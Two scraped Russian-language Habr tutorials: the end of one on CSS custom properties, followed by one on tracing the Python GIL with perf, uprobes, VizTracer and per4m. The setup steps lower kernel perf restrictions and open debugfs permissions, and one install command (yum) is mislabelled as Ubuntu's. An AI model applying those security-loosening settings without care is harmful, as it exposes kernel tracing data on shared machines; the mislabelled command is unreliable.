Вот что говорится об этом в [спецификации](https://www.w3.org/TR/css-variables-1/#invalid-variables) CSS:
*Концепция появления недопустимого значения во время вычислений существует из-за того, что ошибки, связанные с переменными, не проявляются, в отличие от других синтаксических ошибок, на ранних стадиях работы системы. Поэтому оказывается, что когда пользовательский агент обнаружит, что значение переменной некорректно, он уже отбросит, в соответствии с порядком каскадного применения стилей, другие значения.*
В результате оказывается, что если нужно применять возможности CSS, не пользующиеся широкой поддержкой браузеров, при реализации которых используются CSS-переменные, нужно применять директиву `@supports`. Вот как это сделано в вышеупомянутой статье:
```
@supports (top: max(1em, 1px)) {
#toc {
top: max(0em, 11rem - var(--scrolltop) * 1px);
}
}
```
Интересные находки
------------------
### ▍Хранение URL в переменных
Возможно, некоторые ресурсы, используемые на ваших веб-страницах, нужно загружать из внешних источников. В подобных ситуациях можно хранить URL этих ресурсов в CSS-переменных.
```
:root {
--main-bg: url("https://example.com/cool-image.jpg");
}
.section {
background: var(--main-bg);
}
```
Тут может возникнуть вопрос о том, можно ли обрабатывать конструкции вида `var(--main-bg)` с помощью CSS-функции `url()`. Рассмотрим следующий пример:
```
:root {
--main-bg: "https://example.com/cool-image.jpg";
}
.section {
background: url(var(--main-bg));
}
```
Так поступить не получится, так как функция `url()` воспринимает всю конструкцию `var(--main-bg)` в виде URL, а это неправильно. К тому моменту, когда браузер вычислит значение, оно уже будет некорректным, рассмотренная конструкция не будет работать так, как ожидается.
### ▍Хранение нескольких значений
В CSS-переменных можно хранить несколько значений. Если это — значения, выглядящие так, как они должны выглядеть в том месте, где планируется использовать переменную, то такая конструкция окажется работоспособной. Рассмотрим пример.
*Значение переменной выглядит так, как ожидается*
Вот CSS-код:
```
:root {
--main-color: 35, 90, 209;
}
.section-title {
color: rgba(var(--main-color), 0.75);
}
```
Здесь имеется функция `rgba()` и RGB-значения, разделённые запятой и записанные в CSS-переменную. Эти значения используются при задании цвета. При таком подходе к использованию функции `rgba()` у разработчика появляется возможность воздействовать на значение, соответствующее альфа-каналу цвета, настраивая цвет различных элементов.
Единственный минус такого подхода заключается в том, что цвет, задаваемый функцией `rgba()`, нельзя будет настраивать, пользуясь инструментами разработчика браузера. Если при работе над вашим проектом эта возможность важна — вам, вероятно, не подойдёт вышеописанный способ использования функции `rgba()`.
Вот пример использования CSS-переменной для настройки свойства `background`:
```
:root {
--bg: linear-gradient(#000, #000) center/50px;
}
.section {
background: var(--bg);
}
.section--unique {
background: var(--bg) no-repeat;
}
```
Здесь показана стилизация двух разделов сайта. Фон одного из них не должен повторяться по осям `x` и `y`.
### ▍Изменение значений CSS-переменных в теле правила @keyframes
Если вы читали спецификацию, посвящённую CSS-переменным, то вы могли столкнуться там с термином «animation-tainted». С его помощью описывают тот факт, что значения CSS-переменных не поддаются плавному изменению в правиле `@keyframes`. Рассмотрим пример.
Вот HTML-код:
```
```
Вот стили:
```
.box {
width: 50px;
height: 50px;
background: #222;
--offset: 0;
transform: translateX(var(--offset));
animation: moveBox 1s infinite alternate;
}
@keyframes moveBox {
0% {
--offset: 0;
}
50% {
--offset: 50px;
}
100% {
--offset: 100px;
}
}
```
Анимация в этом случае не будет плавной. Переменная примет лишь три значения: `0`, `50px` и `100px`. В спецификации CSS говорится, что любое пользовательское свойство, использованное в правиле `@keyframes`, становится animation-tainted-свойством, что влияет на то, как оно обрабатывается посредством функции `var()` при анимировании элементов.
Если нам нужно обеспечить в предыдущем примере плавную анимацию, то делать это надо так, как делалось раньше. То есть — надо заменить переменную на те CSS-свойства элемента, которые нужно анимировать.
```
@keyframes moveBox {
0% {
transform: translateX(0);
}
50% {
transform: translateX(50px);
}
100% {
transform: translateX(100px);
}
}
```
→ [Вот](https://codepen.io/shadeed/pen/poyMEMq) пример
Хочу отметить, что после публикации этой статьи мне [сообщили](https://twitter.com/dannievinther/status/1313724803807936514) о том, что анимировать CSS-переменные в `@keyframes`, всё же, можно. Но для этого переменные надо регистрировать с использованием правила `@property`. Пока эта возможность поддерживается лишь браузерами, основанными на Chromium.
```
@property --offset {
syntax: "";
inherits: true;
initial-value: 0px;
}
```
[Здесь](https://codepen.io/dannievinther/pen/pobogKd) можно поэкспериментировать с примером применения этой возможности.
### ▍Вычисления
Возможно, вы не знаете о том, что CSS-переменные можно использовать в вычислениях. Взглянем на пример, который мы уже рассматривали, говоря об аватарах:
```
.c-avatar {
display: inline-block;
width: calc(var(--size, 1) * 30px);
height: calc(var(--size, 1) * 30px);
}
```
Размеры аватара зависят от значения переменной `--size`. Значением, используемым по умолчанию, является `1`. Это значит, что стандартным размером аватара является `30px*30px`. Обратите внимание на следующие стили и на то, что изменение этой переменной приводит к изменению размера аватара.
```
.c-avatar--small {
--size: 2;
}
.c-avatar--medium {
--size: 3;
}
.c-avatar--large {
--size: 4;
}
```
Инструменты разработчика различных браузеров и CSS-переменные
-------------------------------------------------------------
При использовании инструментов разработчика различных браузеров можно применять некоторые полезные приёмы, которые упрощают работу с CSS-переменными. Поговорим о них.
### ▍Просмотр цветов, задаваемых с помощью переменных
Я считаю полезной возможность видеть цвет, описываемый CSS-переменной. Эта возможность доступна в браузерах Chrome и Edge.
*Просмотр цвета, задаваемого CSS-переменной*
### ▍Вычисляемые значения
Для того чтобы взглянуть на вычисляемое значение CSS-переменной нужно, в зависимости от браузера, навести на переменную указатель мыши или щёлкнуть мышью по специальной кнопке.
*Просмотр вычисляемых значений*
Во всех браузерах кроме Safari вычисляемые значения можно увидеть, просто наведя указатель мыши на переменную. В Safari для этого нужно щёлкнуть по кнопке с парой полосок.
### ▍Автозавершение ввода
При работе над большими проектами сложно запомнить имена всех используемых в них CSS-переменных. Но благодаря возможностям по автозавершению ввода, доступных в браузерах Chrome, Firefox и Edge, это — не проблема.
*Автозавершение ввода имени переменной*
Для того чтобы этот механизм заработал — достаточно начать вводить имя переменной.
### ▍Отключение CSS-переменных
Если CSS-переменную нужно отключить от всех элементов, которые её используют, для этого достаточно снять флажок, находящийся напротив переменной в том элементе, где она объявлена.
*Флажки для отключения CSS-переменных*
Итоги
-----
Я рассказал довольно много всего о CSS-переменных. Надеюсь, вам пригодится то, что вы сегодня узнали.
Пользуетесь ли вы CSS-переменными в своих проектах?
[](http://ruvds.com/ru-rub?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=css_peremennye#order)
[](http://ruvds.com/ru-rub/news/read/123?utm_source=habr&utm_medium=article&utm_campaign=perevod&utm_content=css_peremennye) | https://habr.com/ru/post/523370/ | null | ru | null |
# Трассировка Python GIL
Есть много статей, объясняющих, для чего нужен Python GIL (The Global Interpreter Lock) (я подразумеваю CPython). Если вкратце, то GIL не даёт многопоточному чистому коду на Python использовать несколько ядер процессора.
Однако мы в Vaex исполняем большинство задач с интенсивными вычислениями на С++ с отключением GIL. Это нормальная практика для высокопроизводительных Python—библиотек, в которых Python всего лишь выступает в роли высокоуровневого связующего звена.
GIL нужно отключать явно, и это ответственность программиста, о которой он может забыть, что приведёт к неэффективному использованию мощностей. Недавно я сам побывал в роли забывшего, и нашёл подобную проблему в [Apache Arrow](https://github.com/apache/arrow/pull/7756) (это зависимость Vaex, так что когда GIL не отключается в Arrow, мы (и все остальные) сталкиваемся с падением производительности).
Кроме того, при исполнении на 64 ядрах производительность Vaex иногда далека от идеала. Возможно, он использует 4000 % процессора вместо 6400 %, что меня не устраивает. Вместо того, чтобы наугад вставлять выключатели для изучения этого эффекта, я хочу разобраться в происходящем, и если проблема в GIL, то хочу понять, почему и как он тормозит Vaex.
Почему я это пишу
-----------------
Я планирую написать серию статей, рассказывающих о некоторых инструментах и методиках профилирования и трассировки Python с нативными расширениями, а также о том, как эти инструменты можно объединить для анализа и визуализации работы Python при включённом и отключённом GIL.
Надеюсь, это поможет улучшить трассировку, профилирование и другие измерения производительности в экосистеме языка, а также производительности всей экосистемы Python.
Требования
----------
### Linux
Вам нужен доступ к Linux-машине с root-привилегиями (sudo достаточно). Или попросите сисадмина выполнить для вас нижеописанные команды. Для остальной статьи достаточно пользовательских привилегий.
### Perf
Убедитесь, что у вас установлен perf, к примеру, на Ubuntu это можно сделать так:
```
$ sudo yum install perf
```
### Конфигурация ядра
Запуск в роли пользователя:
```
# Enable users to run perf (use at own risk)
$ sudo sysctl kernel.perf_event_paranoid=-1
# Enable users to see schedule trace events:
$ sudo mount -o remount,mode=755 /sys/kernel/debug
$ sudo mount -o remount,mode=755 /sys/kernel/debug/tracing
```
### Пакеты Python
Мы будем использовать [VizTracer](https://github.com/gaogaotiantian/viztracer/) и [per4m](https://github.com/maartenbreddels/per4m)
```
$ pip install "viztracer>=0.11.2" "per4m>=0.1,<0.2"
```
Отслеживание состояний потоков и процессов с помощью perf
---------------------------------------------------------
В Python нельзя выяснить состояние GIL (кроме использования [поллинга](https://github.com/chrisjbillington/gil_load/)), потому что для этого нет API. Мы можем отслеживать состояние из ядра, и для этого нам нужен инструмент **perf**.
С его помощью (он также известен как perf\_events) мы можем прослушивать изменения состояний процессов и потоков (нас интересует только засыпание и исполнение) и журналировать их. Perf может выглядеть пугающе, но это мощный инструмент. Если хотите узнать о нём больше, рекомендую почитать [статью Джулии Эванс](https://jvns.ca/blog/2018/04/16/new-perf-zine/) или [сайт Брендана Грегга](http://www.brendangregg.com/perf.html).
Чтобы настроиться, для начала применим perf к [простенькой программе](https://github.com/maartenbreddels/per4m/blob/master/per4m/example0.py):
```
import time
from threading import Thread
def sleep_a_bit():
time.sleep(1)
def main():
t = Thread(target=sleep_a_bit)
t.start()
t.join()
main()
```
Мы прослушиваем всего несколько событий, чтобы уменьшить зашумлённость (обратите внимание на использование символов подстановки (wildcards)):
```
$ perf record -e sched:sched_switch -e sched:sched_process_fork \
-e 'sched:sched_wak*' -- python -m per4m.example0
[ perf record: Woken up 2 times to write data ]
[ perf record: Captured and wrote 0,032 MB perf.data (33 samples) ]
```
И применим скриптовую команду perf для вывода читабельного результата, пригодного для парсинга.
**Скрытый текст**
```
$ perf script
:3040108 3040108 [032] 5563910.979408: sched:sched_waking: comm=perf pid=3040114 prio=120 target_cpu=031
:3040108 3040108 [032] 5563910.979431: sched:sched_wakeup: comm=perf pid=3040114 prio=120 target_cpu=031
python 3040114 [031] 5563910.995616: sched:sched_waking: comm=kworker/31:1 pid=2502104 prio=120 target_cpu=031
python 3040114 [031] 5563910.995618: sched:sched_wakeup: comm=kworker/31:1 pid=2502104 prio=120 target_cpu=031
python 3040114 [031] 5563910.995621: sched:sched_waking: comm=ksoftirqd/31 pid=198 prio=120 target_cpu=031
python 3040114 [031] 5563910.995622: sched:sched_wakeup: comm=ksoftirqd/31 pid=198 prio=120 target_cpu=031
python 3040114 [031] 5563910.995624: sched:sched_switch: prev_comm=python prev_pid=3040114 prev_prio=120 prev_state=R+ ==> next_comm=kworker/31:1 next_pid=2502104 next_prio=120
python 3040114 [031] 5563911.003612: sched:sched_waking: comm=kworker/32:1 pid=2467833 prio=120 target_cpu=032
python 3040114 [031] 5563911.003614: sched:sched_wakeup: comm=kworker/32:1 pid=2467833 prio=120 target_cpu=032
python 3040114 [031] 5563911.083609: sched:sched_waking: comm=ksoftirqd/31 pid=198 prio=120 target_cpu=031
python 3040114 [031] 5563911.083612: sched:sched_wakeup: comm=ksoftirqd/31 pid=198 prio=120 target_cpu=031
python 3040114 [031] 5563911.083613: sched:sched_switch: prev_comm=python prev_pid=3040114 prev_prio=120 prev_state=R ==> next_comm=ksoftirqd/31 next_pid=198 next_prio=120
python 3040114 [031] 5563911.108984: sched:sched_waking: comm=node pid=2446812 prio=120 target_cpu=045
python 3040114 [031] 5563911.109059: sched:sched_waking: comm=node pid=2446812 prio=120 target_cpu=045
python 3040114 [031] 5563911.112250: sched:sched_process_fork: comm=python pid=3040114 child_comm=python child_pid=3040116
python 3040114 [031] 5563911.112260: sched:sched_wakeup_new: comm=python pid=3040116 prio=120 target_cpu=037
python 3040114 [031] 5563911.112262: sched:sched_wakeup_new: comm=python pid=3040116 prio=120 target_cpu=037
python 3040114 [031] 5563911.112273: sched:sched_switch: prev_comm=python prev_pid=3040114 prev_prio=120 prev_state=S ==> next_comm=swapper/31 next_pid=0 next_prio=120
python 3040116 [037] 5563911.112418: sched:sched_waking: comm=python pid=3040114 prio=120 target_cpu=031
python 3040116 [037] 5563911.112450: sched:sched_waking: comm=python pid=3040114 prio=120 target_cpu=031
python 3040116 [037] 5563911.112473: sched:sched_wake_idle_without_ipi: cpu=31
swapper 0 [031] 5563911.112476: sched:sched_wakeup: comm=python pid=3040114 prio=120 target_cpu=031
python 3040114 [031] 5563911.112485: sched:sched_switch: prev_comm=python prev_pid=3040114 prev_prio=120 prev_state=S ==> next_comm=swapper/31 next_pid=0 next_prio=120
python 3040116 [037] 5563911.112485: sched:sched_waking: comm=python pid=3040114 prio=120 target_cpu=031
python 3040116 [037] 5563911.112489: sched:sched_waking: comm=python pid=3040114 prio=120 target_cpu=031
python 3040116 [037] 5563911.112496: sched:sched_switch: prev_comm=python prev_pid=3040116 prev_prio=120 prev_state=S ==> next_comm=swapper/37 next_pid=0 next_prio=120
swapper 0 [031] 5563911.112497: sched:sched_wakeup: comm=python pid=3040114 prio=120 target_cpu=031
python 3040114 [031] 5563911.112513: sched:sched_switch: prev_comm=python prev_pid=3040114 prev_prio=120 prev_state=S ==> next_comm=swapper/31 next_pid=0 next_prio=120
swapper 0 [037] 5563912.113490: sched:sched_waking: comm=python pid=3040116 prio=120 target_cpu=037
swapper 0 [037] 5563912.113529: sched:sched_wakeup: comm=python pid=3040116 prio=120 target_cpu=037
python 3040116 [037] 5563912.113595: sched:sched_waking: comm=python pid=3040114 prio=120 target_cpu=031
python 3040116 [037] 5563912.113620: sched:sched_waking: comm=python pid=3040114 prio=120 target_cpu=031
swapper 0 [031] 5563912.113697: sched:sched_wakeup: comm=python pid=3040114 prio=120 target_cpu=031
```
Взгляните на четвёртую колонку (время в секундах): программа заснула (прошла одна секунда). Здесь мы видим вход в состояние сна:
```
python 3040114 [031] 5563911.112513: sched:sched_switch: prev_comm=python prev_pid=3040114 prev_prio=120 prev_state=S ==> next_comm=swapper/31 next_pid=0 next_prio=120
```
Это означает, что ядро изменило состояние потока Python на `S` (=sleeping).
Секунду спустя программа пробудилась:
```
swapper 0 [031] 5563912.113697: sched:sched_wakeup: comm=python pid=3040114 prio=120 target_cpu=031
```
Конечно, чтобы разобраться в происходящем придётся собрать инструментарий. Да, результат можно также легко отпарсить с помощью [per4m](https://github.com/maartenbreddels/per4m/), но прежде чем мы продолжим, хочу с помощью [VizTracer](https://github.com/gaogaotiantian/viztracer/) визуализировать поток чуть более сложной программы.
VizTracer
---------
Это трассировщик Python, способный визуализировать работу, которую программа выполняет в браузере. Давайте применим его к [более сложной программе](https://github.com/maartenbreddels/per4m/blob/master/per4m/example1.py):
```
import threading
import time
def some_computation():
total = 0
for i in range(1_000_000):
total += i
return total
def main():
thread1 = threading.Thread(target=some_computation)
thread2 = threading.Thread(target=some_computation)
thread1.start()
thread2.start()
time.sleep(0.2)
for thread in [thread1, thread2]:
thread.join()
main()
```
Результат работы трассировщика:
```
$ viztracer -o example1.html --ignore_frozen -m per4m.example1
Loading finish
Saving report to /home/maartenbreddels/github/maartenbreddels/per4m/example1.html ...
Dumping trace data to json, total entries: 94, estimated json file size: 11.0KiB
Generating HTML report
Report saved.
```
Так выглядит получившийся HTML:
Похоже, `some_computation` исполнялась параллельно (дважды), хотя мы знаем, что GIL это предотвращает. Что тут происходит?
Объединение результатов работы VizTracer и perf
-----------------------------------------------
Давайте применим к программе perf, как в случае с example0.py. Только теперь добавим аргумент `-k CLOCK_MONOTONIC`, чтобы использовать [те же часы, что и VizTracer](https://github.com/gaogaotiantian/viztracer/blob/3321ba4024afe5623f938a601d7f7db3b08f534d/src/viztracer/modules/snaptrace.c#L91), и попросим его сгенерировать JSON вместо HTML:
```
$ perf record -e sched:sched_switch -e sched:sched_process_fork -e 'sched:sched_wak*' \
-k CLOCK_MONOTONIC -- viztracer -o viztracer1.json --ignore_frozen -m per4m.example1
```
Затем с помощью per4m преобразуем результаты скрипта perf в JSON, который может прочитать VizTracer:
```
$ perf script | per4m perf2trace sched -o perf1.json
Wrote to perf1.json
```
Теперь с помощью VizTracer объединим два JSON-файла:
```
$ viztracer --combine perf1.json viztracer1.json -o example1_state.html
Saving report to /home/maartenbreddels/github/maartenbreddels/per4m/example1.html ...
Dumping trace data to json, total entries: 131, estimated json file size: 15.4KiB
Generating HTML report
Report saved.
```
Вот что получили:
Очевидно, что потоки регулярно засыпают из-за GIL и не исполняются параллельно.
**Примечание**: длина фазы сна около 5 мс, что соответствует значению по умолчанию [sys.getswitchinterval](https://docs.python.org/3/library/sys.html#sys.getswitchinterval)
Определение GIL
---------------
Наш процесс засыпает, но мы не видим разницы между состояниями сна, которое инициируется вызовом `time.sleep` или GIL. Есть несколько способов определить разницу, рассмотрим два из них.
### Через трассировку стека
С помощью `perf record -g` (а лучше с помощью `perf record --call-graph dwarf`, что подразумевает `-g`), мы получим трассировки стека для каждого события perf.
```
$ perf record -e sched:sched_switch -e sched:sched_process_fork -e 'sched:sched_wak*'\
-k CLOCK_MONOTONIC --call-graph dwarf -- viztracer -o viztracer1-gil.json --ignore_frozen -m per4m.example1
Loading finish
Saving report to /home/maartenbreddels/github/maartenbreddels/per4m/viztracer1-gil.json ...
Dumping trace data to json, total entries: 94, estimated json file size: 11.0KiB
Report saved.
[ perf record: Woken up 3 times to write data ]
[ perf record: Captured and wrote 0,991 MB perf.data (164 samples) ]
```
Взглянув на результат скрипта perf (в который мы ради производительности добавили `--no-inline`), мы получим много информации. Посмотрите на событие изменения состояния, оказывается, вызывался [take\_gil](https://github.com/python/cpython/blob/1a9f51ed12feb4d95ad6d0faf610a030c05b9f5e/Python/ceval_gil.h#L215)!
**Скрытый текст**
```
$ perf script --no-inline | less
...
viztracer 3306851 [059] 5614683.022539: sched:sched_switch: prev_comm=viztracer prev_pid=3306851 prev_prio=120 prev_state=S ==> next_comm=swapper/59 next_pid=0 next_prio=120
ffffffff96ed4785 __sched_text_start+0x375 ([kernel.kallsyms])
ffffffff96ed4785 __sched_text_start+0x375 ([kernel.kallsyms])
ffffffff96ed4b92 schedule+0x42 ([kernel.kallsyms])
ffffffff9654a51b futex_wait_queue_me+0xbb ([kernel.kallsyms])
ffffffff9654ac85 futex_wait+0x105 ([kernel.kallsyms])
ffffffff9654daff do_futex+0x10f ([kernel.kallsyms])
ffffffff9654dfef __x64_sys_futex+0x13f ([kernel.kallsyms])
ffffffff964044c7 do_syscall_64+0x57 ([kernel.kallsyms])
ffffffff9700008c entry_SYSCALL_64_after_hwframe+0x44 ([kernel.kallsyms])
7f4884b977b1 [[email protected]@GLIBC\_2.3.2+0x271 (/usr/lib/x86\_64-linux-gnu/libpthread-2.31.so)
55595c07fe6d take\_gil+0x1ad (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfaa0b3 PyEval\_RestoreThread+0x23 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c000872 lock\_PyThread\_acquire\_lock+0x1d2 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfe71f3 \_PyMethodDef\_RawFastCallKeywords+0x263 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfe7313 \_PyCFunction\_FastCallKeywords+0x23 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d657 call\_function+0x3b7 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfb6db1 \_PyEval\_EvalCodeWithName+0x251 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6b00 \_PyFunction\_FastCallKeywords+0x520 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d334 call\_function+0x94 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfb6db1 \_PyEval\_EvalCodeWithName+0x251 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6b00 \_PyFunction\_FastCallKeywords+0x520 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d334 call\_function+0x94 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6766 \_PyFunction\_FastCallKeywords+0x186 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d334 call\_function+0x94 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6766 \_PyFunction\_FastCallKeywords+0x186 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060ae4 \_PyEval\_EvalFrameDefault+0x3f4 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfb6db1 \_PyEval\_EvalCodeWithName+0x251 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c074e5d builtin\_exec+0x33d (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfe7078 \_PyMethodDef\_RawFastCallKeywords+0xe8 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfe7313 \_PyCFunction\_FastCallKeywords+0x23 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c066c39 \_PyEval\_EvalFrameDefault+0x6549 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfb77e0 \_PyEval\_EvalCodeWithName+0xc80 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6b62 \_PyFunction\_FastCallKeywords+0x582 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d334 call\_function+0x94 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6766 \_PyFunction\_FastCallKeywords+0x186 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d334 call\_function+0x94 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6766 \_PyFunction\_FastCallKeywords+0x186 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c01d334 call\_function+0x94 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060d00 \_PyEval\_EvalFrameDefault+0x610 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfd6766 \_PyFunction\_FastCallKeywords+0x186 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c060ae4 \_PyEval\_EvalFrameDefault+0x3f4 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfb6db1 \_PyEval\_EvalCodeWithName+0x251 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595bfb81e2 PyEval\_EvalCode+0x22 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c0c51d1 run\_mod+0x31 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c0cf31d PyRun\_FileExFlags+0x9d (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c0cf50a PyRun\_SimpleFileExFlags+0x1ba (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c0d05f0 pymain\_main+0x3e0 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
55595c0d067b \_Py\_UnixMain+0x3b (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
7f48849bc0b2 \_\_libc\_start\_main+0xf2 (/usr/lib/x86\_64-linux-gnu/libc-2.31.so)
55595c075100 \_start+0x28 (/home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
…](https://www.maartenbreddels.com/cdn-cgi/l/email-protection)
```
**Примечание**: также вызывался `pthread_cond_timedwait`, он используется <https://github.com/sumerc/gilstats.py> для eBPF, если вас интересуют другие мьютексы.
**Ещё примечание**: обратите внимание, что здесь нет трассировки стека Python, а вместо неё мы получили `_PyEval_EvalFrameDefault` и прочее. В будущем я планирую написать, как вставлять трассировку стека.
Инструмент для конвертирования `per4m perf2trace` понимает это и генерирует другой результат, когда в трассировке присутствует `take_gil`:
```
$ perf script --no-inline | per4m perf2trace sched -o perf1-gil.json
Wrote to perf1-gil.json
$ viztracer --combine perf1-gil.json viztracer1-gil.json -o example1-gil.html
Saving report to /home/maartenbreddels/github/maartenbreddels/per4m/example1.html ...
Dumping trace data to json, total entries: 131, estimated json file size: 15.4KiB
Generating HTML report
Report saved.
```
Получаем:
Теперь мы точно видим, где GIL играет роль!
### Через зондирование (kprobes/uprobes)
Мы знаем, когда процессы засыпают (из-за GIL или иных причин), но если хочется подробнее узнать о том, когда включается или выключается GIL, то нужно знать, когда вызываются и возвращаются результаты `take_gil` и `drop_gil`. Такую трассировку можно получить благодаря зондированию с помощью perf. В пользовательской среде зондами являются uprobes, это аналог kprobes, которые, как вы могли догадаться, работают в среде ядра. Опять же, прекрасный источник дополнительной информации — [Джулия Эванс](https://jvns.ca/blog/2017/07/09/linux-tracing-zine/).
Установим 4 зонда:
```
sudo perf probe -f -x `which python` python:take_gil=take_gil
sudo perf probe -f -x `which python` python:take_gil=take_gil%return
sudo perf probe -f -x `which python` python:drop_gil=drop_gil
sudo perf probe -f -x `which python` python:drop_gil=drop_gil%return
Added new events:
python:take_gil (on take_gil in /home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
python:take_gil_1 (on take_gil in /home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
You can now use it in all perf tools, such as:
perf record -e python:take_gil_1 -aR sleep 1
Failed to find "take_gil%return",
because take_gil is an inlined function and has no return point.
Added new event:
python:take_gil__return (on take_gil%return in /home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
You can now use it in all perf tools, such as:
perf record -e python:take_gil__return -aR sleep 1
Added new events:
python:drop_gil (on drop_gil in /home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
python:drop_gil_1 (on drop_gil in /home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
You can now use it in all perf tools, such as:
perf record -e python:drop_gil_1 -aR sleep 1
Failed to find "drop_gil%return",
because drop_gil is an inlined function and has no return point.
Added new event:
python:drop_gil__return (on drop_gil%return in /home/maartenbreddels/miniconda/envs/dev/bin/python3.7)
You can now use it in all perf tools, such as:
perf record -e python:drop_gil__return -aR sleep 1
```
Есть какие-то жалобы, а из-за инлайненных `drop_gil` и `take_gil` добавилось несколько зондов/событий (то есть функция представлена в бинарном файле несколько раз), но всё работает.
**Примечание**: возможно, мне повезло, что мой бинарник Python (от conda-forge) скомпилирован так, что соответствующие `take_gil`/`drop_gil` (и их результаты), успешно отработавшие, подошли для решения этой проблемы.
Обратите внимание, что зонды не влияют на производительность, и только когда они «активны» (например, когда мы их мониторим из perf), то запускают код по другой ветке. При мониторинге копируются затронутые страницы для отслеживаемого процесса, а [в нужные места вставляются контрольные точки](https://lwn.net/Articles/499190/) (INT3 для процессоров x86). Контрольная точка запускает событие для perf с маленькими накладными расходами. Если вы хотите убрать зонды, то выполните команду:
```
$ sudo perf probe --del 'python*'
```
Теперь perf знает о новых событиях, которые он может прослушивать, так что давайте снова его запустим с дополнительным аргументом `-e 'python:*gil*'`:
```
$ perf record -e sched:sched_switch -e sched:sched_process_fork -e 'sched:sched_wak*' -k CLOCK_MONOTONIC \
-e 'python:*gil*' -- viztracer -o viztracer1-uprobes.json --ignore_frozen -m per4m.example1
```
**Примечание**: мы убрали `--call-graph dwarf`, иначе perf не успеет и мы потеряем события.
Затем с помощью per4m perf2trace преобразуем в JSON, который понятен для VizTracer, и заодно получим новую статистику.
```
$ perf script --no-inline | per4m perf2trace gil -o perf1-uprobes.json
...
Summary of threads:
PID total(us) no gil% has gil% gil wait%
-------- ----------- ----------- ------------ -------------
3353567* 164490.0 65.9 27.3 6.7
3353569 66560.0 0.3 48.2 51.5
3353570 60900.0 0.0 56.4 43.6
High 'no gil' is good, we like low 'has gil',
and we don't want 'gil wait'. (* indicates main thread)
...
Wrote to perf1-uprobes.json
```
Подкоманда `per4m perf2trace gil` также выдаёт в качестве результата [gil\_load](https://github.com/chrisjbillington/gil_load). Из него мы узнаём, что оба потока ждут GIL примерно половину времени, как и ожидалось.
С помощью того же файла perf.data, записанного perf, мы также можем сгенерировать информацию о состоянии потока или процесса. Но поскольку мы выполняли без трассировок стека, мы не знаем, заснул ли процесс из-за GIL или нет.
```
$ perf script --no-inline | per4m perf2trace sched -o perf1-state.json
Wrote to perf1-state.json
```
Наконец, соберём вместе все три результата:
```
$ viztracer --combine perf1-state.json perf1-uprobes.json viztracer1-uprobes.json -o example1-uprobes.html
Saving report to /home/maartenbreddels/github/maartenbreddels/per4m/example1-uprobes.html ...
Dumping trace data to json, total entries: 10484, estimated json file size: 1.2MiB
Generating HTML report
Report saved.
```
VizTracer даёт хорошее представление о том, у кого был GIL и кто его ждал:
Над каждым потоком написано, когда поток или процесс ждёт GIL и когда тот включается (помечено как LOCK). Обратите внимание, что эти периоды пересекаются с периодами, когда поток или процесс **не** спит (выполняется!). Также обратите внимание, что в состоянии выполнения мы видим только один поток или процесс, как и должно быть из-за GIL.
